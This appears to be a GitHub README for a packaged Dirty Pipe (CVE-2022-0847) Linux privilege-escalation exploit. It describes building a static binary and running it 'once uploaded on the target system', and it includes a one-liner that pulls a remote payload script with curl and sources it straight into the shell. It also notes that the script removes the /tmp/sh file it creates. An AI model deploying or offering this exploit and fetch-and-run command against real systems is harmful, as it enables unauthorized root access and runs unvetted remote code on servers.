dirtypipe (CVE-2022-0847)

References:

• ArsTechnica article
• Max Kellermann's article and PoC
• Public exploit

Objective

Build a static exploit that can be run on any Linux server.

How to build

./build.sh

How to use

Once uploaded on the target system:

source payload.sh

Or even easier:

source <(curl -s https://raw.githubusercontent.com/eric-glb/dirtypipe/main/payload.sh)

dirtypipez.c

The source on this repo is a bit modified (log message) as the payload.sh takes care of removing the /tmp/sh file.